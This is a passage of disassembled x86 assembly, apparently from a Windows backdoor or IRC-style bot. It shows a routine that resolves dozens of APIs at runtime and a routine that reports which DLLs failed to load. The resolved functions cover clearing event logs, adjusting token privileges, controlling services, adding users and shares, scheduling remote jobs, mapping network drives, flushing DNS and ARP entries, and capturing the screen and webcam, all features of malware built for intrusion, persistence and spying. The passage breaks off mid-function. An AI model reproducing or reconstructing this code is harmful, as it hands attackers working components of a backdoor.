		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	ds:dword_4CDC68, eax
		call	esi
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	ds:dword_4CDBAC, eax
		call	esi
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	ds:dword_4CDC1C, eax
		call	esi
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	ds:dword_4CDAF8, eax
		call	esi
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	ds:dword_4CDB5C, eax
		call	esi
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	ds:dword_4CDBD4, eax
		call	esi
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	ds:dword_4CDB78, eax
		call	esi
		cmp	ds:dword_4CDC68, ebx
		mov	ds:dword_4CDB88, eax
		jz	short loc_409D09
		cmp	ds:dword_4CDBAC, ebx
		jz	short loc_409D09
		cmp	ds:dword_4CDC1C, ebx
		jz	short loc_409D09
		cmp	ds:dword_4CDAF8, ebx
		jz	short loc_409D09
		cmp	ds:dword_4CDB5C, ebx
		jz	short loc_409D09
		cmp	ds:dword_4CDBD4, ebx
		jnz	short loc_409D13


loc_409D09:				; CODE XREF: sub_409A01+2DEj
					; sub_409A01+2E6j ...
		mov	ds:dword_4CDCC4, 1


loc_409D13:				; CODE XREF: sub_409A01+306j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	ds:dword_4CDBDC, eax
		call	esi
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	ds:dword_4CDBB4, eax
		call	esi
		cmp	ds:dword_4CDBDC, ebx
		mov	ds:dword_4CDC64, eax
		jz	short loc_409D4E
		cmp	ds:dword_4CDBB4, ebx
		jz	short loc_409D4E
		cmp	eax, ebx
		jnz	short loc_409D58


loc_409D4E:				; CODE XREF: sub_409A01+33Fj
					; sub_409A01+347j
		mov	ds:dword_4CDCC4, 1


loc_409D58:				; CODE XREF: sub_409A01+34Bj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	ds:dword_4CDBEC, eax
		call	esi
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	ds:dword_4CDAD4, eax
		call	esi
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	ds:dword_4CDADC, eax
		call	esi
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	ds:dword_4CDB40, eax
		call	esi
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	ds:dword_4CDB44, eax
		call	esi
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	ds:dword_4CDAF0, eax
		call	esi
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	ds:dword_4CDBB8, eax
		call	esi
		cmp	ds:dword_4CDBEC, ebx
		mov	ds:dword_4CDAE0, eax
		jz	short loc_409DFC
		cmp	ds:dword_4CDAD4, ebx
		jz	short loc_409DFC
		cmp	ds:dword_4CDADC, ebx
		jz	short loc_409DFC
		cmp	ds:dword_4CDB40, ebx
		jz	short loc_409DFC
		cmp	ds:dword_4CDB44, ebx
		jz	short loc_409DFC
		cmp	ds:dword_4CDAF0, ebx
		jz	short loc_409DFC
		cmp	ds:dword_4CDBB8, ebx
		jz	short loc_409DFC
		cmp	eax, ebx
		jnz	short loc_409E06


loc_409DFC:				; CODE XREF: sub_409A01+3C5j
					; sub_409A01+3CDj ...
		mov	ds:dword_4CDCC4, 1


loc_409E06:				; CODE XREF: sub_409A01+3F9j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	ds:dword_4CDAD8, eax
		jnz	short loc_409E2E
		jmp	short loc_409E24
; ---------------------------------------------------------------------------


loc_409E19:				; CODE XREF: sub_409A01+26Aj
		call	ds:dword_42808C	; RtlGetLastWin32Error
		mov	ds:dword_4CDCC8, eax


loc_409E24:				; CODE XREF: sub_409A01+416j
		mov	ds:dword_4CDCC4, 1


loc_409E2E:				; CODE XREF: sub_409A01+414j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409EFA
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	ds:dword_4CDBE4, eax
		call	esi
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	ds:dword_4CDC3C, eax
		call	esi
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	ds:dword_4CDC44, eax
		call	esi
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	ds:dword_4CDC00, eax
		call	esi
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	ds:dword_4CDB1C, eax
		call	esi
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	ds:dword_4CDAC8, eax
		call	esi
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	ds:dword_4CDC40, eax
		call	esi
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	ds:dword_4CDAB4, eax
		call	esi
		cmp	ds:dword_4CDBE4, ebx
		mov	ds:dword_4CDB54, eax
		jz	short loc_409F05
		cmp	ds:dword_4CDC3C, ebx
		jz	short loc_409F05
		cmp	ds:dword_4CDC44, ebx
		jz	short loc_409F05
		cmp	ds:dword_4CDC00, ebx
		jz	short loc_409F05
		cmp	ds:dword_4CDB1C, ebx
		jz	short loc_409F05
		cmp	ds:dword_4CDAC8, ebx
		jz	short loc_409F05
		cmp	ds:dword_4CDC40, ebx
		jz	short loc_409F05
		cmp	ds:dword_4CDAB4, ebx
		jz	short loc_409F05
		cmp	eax, ebx
		jnz	short loc_409F0F
		jmp	short loc_409F05
; ---------------------------------------------------------------------------


loc_409EFA:				; CODE XREF: sub_409A01+438j
		call	ds:dword_42808C	; RtlGetLastWin32Error
		mov	ds:dword_4CDCD0, eax


loc_409F05:				; CODE XREF: sub_409A01+4B9j
					; sub_409A01+4C1j ...
		mov	ds:dword_4CDCCC, 1


loc_409F0F:				; CODE XREF: sub_409A01+4F5j
		mov	ebp, ds:dword_4280B8
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A1CB
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	ds:dword_4CDB68, eax
		call	esi
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	ds:dword_4CDC9C, eax
		call	esi
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	ds:dword_4CDB08, eax
		call	esi
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	ds:dword_4CDAE4, eax
		call	esi
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	ds:dword_4CDBA4, eax
		call	esi
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	ds:dword_4CDB8C, eax
		call	esi
		push	offset aSocket	; "socket"
		push	edi
		mov	ds:dword_4CDB50, eax
		call	esi
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	ds:dword_4CDC78, eax
		call	esi
		push	offset aConnect	; "connect"
		push	edi
		mov	ds:dword_4CDC94, eax
		call	esi
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	ds:dword_4CDBA0, eax
		call	esi
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	ds:dword_4CDC84, eax
		call	esi
		push	offset aHtons	; "htons"
		push	edi
		mov	ds:dword_4CDC38, eax
		call	esi
		push	offset aHtonl	; "htonl"
		push	edi
		mov	ds:dword_4CDBF8, eax
		call	esi
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	ds:dword_4CDBF4, eax
		call	esi
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	ds:dword_4CDB28, eax
		call	esi
		push	offset aSend	; "send"
		push	edi
		mov	ds:dword_4CDB20, eax
		call	esi
		push	offset aSendto	; "sendto"
		push	edi
		mov	ds:dword_4CDC48, eax
		call	esi
		push	offset aRecv	; "recv"
		push	edi
		mov	ds:dword_4CDC5C, eax
		call	esi
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	ds:dword_4CDC10, eax
		call	esi
		mov	ds:dword_4CDBD0, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi
		push	offset aSelect	; "select"
		push	edi
		mov	ds:dword_4CDC24, eax
		call	esi
		push	offset aListen	; "listen"
		push	edi
		mov	ds:dword_4CDBE0, eax
		call	esi
		push	offset aAccept	; "accept"
		push	edi
		mov	ds:dword_4CDC20, eax
		call	esi
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	ds:dword_4CDC8C, eax
		call	esi
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	ds:dword_4CDBD8, eax
		call	esi
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	ds:dword_4CDB9C, eax
		call	esi
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	ds:dword_4CDC0C, eax
		call	esi
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	ds:dword_4CDC7C, eax
		call	esi
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	ds:dword_4CDBB0, eax
		call	esi
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	ds:dword_4CDB4C, eax
		call	esi
		cmp	ds:dword_4CDB68, ebx
		mov	ds:dword_4CDC90, eax
		jz	loc_40A1D6
		cmp	ds:dword_4CDC9C, ebx
		jz	loc_40A1D6
		cmp	ds:dword_4CDB08, ebx
		jz	loc_40A1D6
		cmp	ds:dword_4CDBA4, ebx
		jz	loc_40A1D6
		cmp	ds:dword_4CDB8C, ebx
		jz	loc_40A1D6
		cmp	ds:dword_4CDB50, ebx
		jz	loc_40A1D6
		cmp	ds:dword_4CDC78, ebx
		jz	loc_40A1D6
		cmp	ds:dword_4CDC94, ebx
		jz	loc_40A1D6
		cmp	ds:dword_4CDBA0, ebx
		jz	loc_40A1D6
		cmp	ds:dword_4CDC84, ebx
		jz	loc_40A1D6
		cmp	ds:dword_4CDC38, ebx
		jz	loc_40A1D6
		cmp	ds:dword_4CDBF8, ebx
		jz	loc_40A1D6
		cmp	ds:dword_4CDBF4, ebx
		jz	loc_40A1D6
		cmp	ds:dword_4CDB28, ebx
		jz	short loc_40A1D6
		cmp	ds:dword_4CDC48, ebx
		jz	short loc_40A1D6
		cmp	ds:dword_4CDC5C, ebx
		jz	short loc_40A1D6
		cmp	ds:dword_4CDC10, ebx
		jz	short loc_40A1D6
		cmp	ds:dword_4CDBD0, ebx
		jz	short loc_40A1D6
		cmp	ds:dword_4CDC24, ebx
		jz	short loc_40A1D6
		cmp	ds:dword_4CDBE0, ebx
		jz	short loc_40A1D6
		cmp	ds:dword_4CDC20, ebx
		jz	short loc_40A1D6
		cmp	ds:dword_4CDC8C, ebx
		jz	short loc_40A1D6
		cmp	ds:dword_4CDBD8, ebx
		jz	short loc_40A1D6
		cmp	ds:dword_4CDB9C, ebx
		jz	short loc_40A1D6
		cmp	ds:dword_4CDC0C, ebx
		jz	short loc_40A1D6
		cmp	ds:dword_4CDC7C, ebx
		jz	short loc_40A1D6
		cmp	ds:dword_4CDBB0, ebx
		jz	short loc_40A1D6
		cmp	eax, ebx
		jnz	short loc_40A1E0
		jmp	short loc_40A1D6
; ---------------------------------------------------------------------------


loc_40A1CB:				; CODE XREF: sub_409A01+51Fj
		call	ds:dword_42808C	; RtlGetLastWin32Error
		mov	ds:dword_4CDCD8, eax


loc_40A1D6:				; CODE XREF: sub_409A01+6BEj
					; sub_409A01+6CAj ...
		mov	ds:dword_4CDCD4, 1


loc_40A1E0:				; CODE XREF: sub_409A01+7C6j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A2E5
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	ds:dword_4CDB34, eax
		call	esi
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	ds:dword_4CDABC, eax
		call	esi
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	ds:dword_4CDBC0, eax
		call	esi
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	ds:dword_4CDB6C, eax
		call	esi
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	ds:dword_4CDBCC, eax
		call	esi
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	ds:dword_4CDB90, eax
		call	esi
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	ds:dword_4CDAFC, eax
		call	esi
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	ds:dword_4CDAF4, eax
		call	esi
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	ds:dword_4CDB04, eax
		call	esi
		cmp	ds:dword_4CDB34, ebx
		mov	ecx, ds:dword_4CDB90
		mov	ds:dword_4CDC2C, eax
		jz	short loc_40A2C1
		cmp	ds:dword_4CDABC, ebx
		jz	short loc_40A2C1
		cmp	ds:dword_4CDBC0, ebx
		jz	short loc_40A2C1
		cmp	ds:dword_4CDB6C, ebx
		jz	short loc_40A2C1
		cmp	ds:dword_4CDBCC, ebx
		jz	short loc_40A2C1
		cmp	ecx, ebx
		jz	short loc_40A2C1
		cmp	ds:dword_4CDAFC, ebx
		jz	short loc_40A2C1
		cmp	ds:dword_4CDAF4, ebx
		jz	short loc_40A2C1
		cmp	ds:dword_4CDB04, ebx
		jz	short loc_40A2C1
		cmp	eax, ebx
		jnz	short loc_40A2CB


loc_40A2C1:				; CODE XREF: sub_409A01+87Ej
					; sub_409A01+886j ...
		mov	ds:dword_4CDCDC, 1


loc_40A2CB:				; CODE XREF: sub_409A01+8BEj
		cmp	ecx, ebx
		jz	short loc_40A300
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx	; InternetOpenA
		cmp	eax, ebx
		mov	ds:dword_4CDBA8, eax
		jnz	short loc_40A300
		jmp	short loc_40A2FA
; ---------------------------------------------------------------------------


loc_40A2E5:				; CODE XREF: sub_409A01+7EAj
		call	ds:dword_42808C	; RtlGetLastWin32Error
		mov	ds:dword_4CDCE0, eax
		mov	ds:dword_4CDCDC, 1


loc_40A2FA:				; CODE XREF: sub_409A01+8E2j
		mov	ds:dword_4CDBA8, ebx


loc_40A300:				; CODE XREF: sub_409A01+8CCj
					; sub_409A01+8E0j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A34A
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	ds:dword_4CDB80, eax
		call	esi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	ds:dword_4CDCAC, eax
		call	esi
		cmp	ds:dword_4CDB80, ebx
		mov	ds:dword_4CDB10, eax
		jz	short loc_40A355
		cmp	ds:dword_4CDCAC, ebx
		jz	short loc_40A355
		cmp	eax, ebx
		jnz	short loc_40A35F
		jmp	short loc_40A355
; ---------------------------------------------------------------------------


loc_40A34A:				; CODE XREF: sub_409A01+90Aj
		call	ds:dword_42808C	; RtlGetLastWin32Error
		mov	ds:dword_4CDCE8, eax


loc_40A355:				; CODE XREF: sub_409A01+939j
					; sub_409A01+941j ...
		mov	ds:dword_4CDCE4, 1


loc_40A35F:				; CODE XREF: sub_409A01+945j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A466
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	ds:dword_4CDAEC, eax
		call	esi
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	ds:dword_4CDAC4, eax
		call	esi
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	ds:dword_4CDB3C, eax
		call	esi
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	ds:dword_4CDB70, eax
		call	esi
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	ds:dword_4CDC88, eax
		call	esi
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	ds:dword_4CDB24, eax
		call	esi
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	ds:dword_4CDAD0, eax
		call	esi
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	ds:dword_4CDAC0, eax
		call	esi
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	ds:dword_4CDB58, eax
		call	esi
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	ds:dword_4CDC50, eax
		call	esi
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	ds:dword_4CDC08, eax
		call	esi
		cmp	ds:dword_4CDAEC, ebx
		mov	ds:dword_4CDB2C, eax
		jz	short loc_40A471
		cmp	ds:dword_4CDAC4, ebx
		jz	short loc_40A471
		cmp	ds:dword_4CDB3C, ebx
		jz	short loc_40A471
		cmp	ds:dword_4CDB70, ebx
		jz	short loc_40A471
		cmp	ds:dword_4CDC88, ebx
		jz	short loc_40A471
		cmp	ds:dword_4CDB24, ebx
		jz	short loc_40A471
		cmp	ds:dword_4CDAD0, ebx
		jz	short loc_40A471
		cmp	ds:dword_4CDAC0, ebx
		jz	short loc_40A471
		cmp	ds:dword_4CDB58, ebx
		jz	short loc_40A471
		cmp	ds:dword_4CDC50, ebx
		jz	short loc_40A471
		cmp	ds:dword_4CDC08, ebx
		jnz	short loc_40A47B
		jmp	short loc_40A471
; ---------------------------------------------------------------------------


loc_40A466:				; CODE XREF: sub_409A01+969j
		call	ds:dword_42808C	; RtlGetLastWin32Error
		mov	ds:dword_4CDCF0, eax


loc_40A471:				; CODE XREF: sub_409A01+A11j
					; sub_409A01+A19j ...
		mov	ds:dword_4CDCEC, 1


loc_40A47B:				; CODE XREF: sub_409A01+A61j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A4B0
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	ds:dword_4CDB14, eax
		call	esi
		cmp	ds:dword_4CDB14, ebx
		mov	ds:dword_4CDBF0, eax
		jz	short loc_40A4BB
		cmp	eax, ebx
		jnz	short loc_40A4C5
		jmp	short loc_40A4BB
; ---------------------------------------------------------------------------


loc_40A4B0:				; CODE XREF: sub_409A01+A85j
		call	ds:dword_42808C	; RtlGetLastWin32Error
		mov	ds:dword_4CDCF8, eax


loc_40A4BB:				; CODE XREF: sub_409A01+AA7j
					; sub_409A01+AADj
		mov	ds:dword_4CDCF4, 1


loc_40A4C5:				; CODE XREF: sub_409A01+AABj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A4FA
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	ds:dword_4CDC74, eax
		call	esi
		cmp	ds:dword_4CDC74, ebx
		mov	ds:dword_4CDC70, eax
		jz	short loc_40A505
		cmp	eax, ebx
		jnz	short loc_40A50F
		jmp	short loc_40A505
; ---------------------------------------------------------------------------


loc_40A4FA:				; CODE XREF: sub_409A01+ACFj
		call	ds:dword_42808C	; RtlGetLastWin32Error
		mov	ds:dword_4CDD00, eax


loc_40A505:				; CODE XREF: sub_409A01+AF1j
					; sub_409A01+AF7j
		mov	ds:dword_4CDCFC, 1


loc_40A50F:				; CODE XREF: sub_409A01+AF5j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A56E
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	ds:dword_4CDCA0, eax
		call	esi
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	ds:dword_4CDC98, eax
		call	esi
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	ds:dword_4CDC60, eax
		call	esi
		cmp	ds:dword_4CDCA0, ebx
		mov	ds:dword_4CDB30, eax
		jz	short loc_40A579
		cmp	ds:dword_4CDC98, ebx
		jz	short loc_40A579
		cmp	ds:dword_4CDC60, ebx
		jz	short loc_40A579
		cmp	eax, ebx
		jnz	short loc_40A583
		jmp	short loc_40A579
; ---------------------------------------------------------------------------


loc_40A56E:				; CODE XREF: sub_409A01+B19j
		call	ds:dword_42808C	; RtlGetLastWin32Error
		mov	ds:dword_4CDD08, eax


loc_40A579:				; CODE XREF: sub_409A01+B55j
					; sub_409A01+B5Dj ...
		mov	ds:dword_4CDD04, 1


loc_40A583:				; CODE XREF: sub_409A01+B69j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A5B8
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	ds:dword_4CDB64, eax
		call	esi
		cmp	ds:dword_4CDB64, ebx
		mov	ds:dword_4CDC6C, eax
		jz	short loc_40A5C3
		cmp	eax, ebx
		jnz	short loc_40A5CD
		jmp	short loc_40A5C3
; ---------------------------------------------------------------------------


loc_40A5B8:				; CODE XREF: sub_409A01+B8Dj
		call	ds:dword_42808C	; RtlGetLastWin32Error
		mov	ds:dword_4CDD10, eax


loc_40A5C3:				; CODE XREF: sub_409A01+BAFj
					; sub_409A01+BB5j
		mov	ds:dword_4CDD0C, 1


loc_40A5CD:				; CODE XREF: sub_409A01+BB3j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A656
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	ds:dword_4CDC34, eax
		call	esi
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	ds:dword_4CDC80, eax
		call	esi
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	ds:dword_4CDBBC, eax
		call	esi
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	ds:dword_4CDB74, eax
		call	esi
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	ds:dword_4CDC14, eax
		call	esi
		cmp	ds:dword_4CDC34, ebx
		mov	ds:dword_4CDB84, eax
		jz	short loc_40A661
		cmp	ds:dword_4CDC80, ebx
		jz	short loc_40A661
		cmp	ds:dword_4CDBBC, ebx
		jz	short loc_40A661
		cmp	ds:dword_4CDB74, ebx
		jz	short loc_40A661
		cmp	ds:dword_4CDC14, ebx
		jz	short loc_40A661
		cmp	eax, ebx
		jnz	short loc_40A66B
		jmp	short loc_40A661
; ---------------------------------------------------------------------------


loc_40A656:				; CODE XREF: sub_409A01+BD7j
		call	ds:dword_42808C	; RtlGetLastWin32Error
		mov	ds:dword_4CDD18, eax


loc_40A661:				; CODE XREF: sub_409A01+C2Dj
					; sub_409A01+C35j ...
		mov	ds:dword_4CDD14, 1


loc_40A66B:				; CODE XREF: sub_409A01+C51j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A6A0
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	ds:dword_4CDB48, eax
		call	esi
		cmp	ds:dword_4CDB48, ebx
		mov	ds:dword_4CDC28, eax
		jz	short loc_40A6AB
		cmp	eax, ebx
		jnz	short loc_40A6B5
		jmp	short loc_40A6AB
; ---------------------------------------------------------------------------


loc_40A6A0:				; CODE XREF: sub_409A01+C75j
		call	ds:dword_42808C	; RtlGetLastWin32Error
		mov	ds:dword_4CDD20, eax


loc_40A6AB:				; CODE XREF: sub_409A01+C97j
					; sub_409A01+C9Dj
		mov	ds:dword_4CDD1C, 1


loc_40A6B5:				; CODE XREF: sub_409A01+C9Bj
		pop	edi
		xor	eax, eax
		pop	esi
		pop	ebp
		inc	eax
		pop	ebx
		retn
sub_409A01	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A6BD	proc near		; CODE XREF: seg000:00403FE8p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	ds:dword_4CDCB4, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A705
		push	ds:dword_4CDCB8
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_41BA76
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409966
		add	esp, 20h


loc_40A705:				; CODE XREF: sub_40A6BD+1Aj
		cmp	ds:dword_4CDCBC, esi
		jz	short loc_40A739
		push	ds:dword_4CDCC0
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_41BA76
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409966
		add	esp, 20h


loc_40A739:				; CODE XREF: sub_40A6BD+4Ej
		cmp	ds:dword_4CDCC4, esi
		jz	short loc_40A76D
		push	ds:dword_4CDCC8
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_41BA76
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409966
		add	esp, 20h


loc_40A76D:				; CODE XREF: sub_40A6BD+82j
		cmp	ds:dword_4CDCCC, esi
		jz	short loc_40A7A1
		push	ds:dword_4CDCD0
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_41BA76
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409966
		add	esp, 20h


loc_40A7A1:				; CODE XREF: sub_40A6BD+B6j
		cmp	ds:dword_4CDCD4, esi
		jz	short loc_40A7D5
		push	ds:dword_4CDCD8
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_41BA76
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409966
		add	esp, 20h


loc_40A7D5:				; CODE XREF: sub_40A6BD+EAj
		cmp	ds:dword_4CDCDC, esi
		jz	short loc_40A809
		push	ds:dword_4CDCE0
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_41BA76
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409966
		add	esp, 20h


loc_40A809:				; CODE XREF: sub_40A6BD+11Ej
		cmp	ds:dword_4CDCE4, esi
		jz	short loc_40A83D
		push	ds:dword_4CDCE8
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_41BA76
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409966
		add	esp, 20h


loc_40A83D:				; CODE XREF: sub_40A6BD+152j
		cmp	ds:dword_4CDCEC, esi
		jz	short loc_40A871
		push	ds:dword_4CDCF0
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_41BA76
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409966
		add	esp, 20h


loc_40A871:				; CODE XREF: sub_40A6BD+186j
		cmp	ds:dword_4CDCF4, esi
		jz	short loc_40A8A5
		push	ds:dword_4CDCF8
		lea	eax, [ebp+var_200]
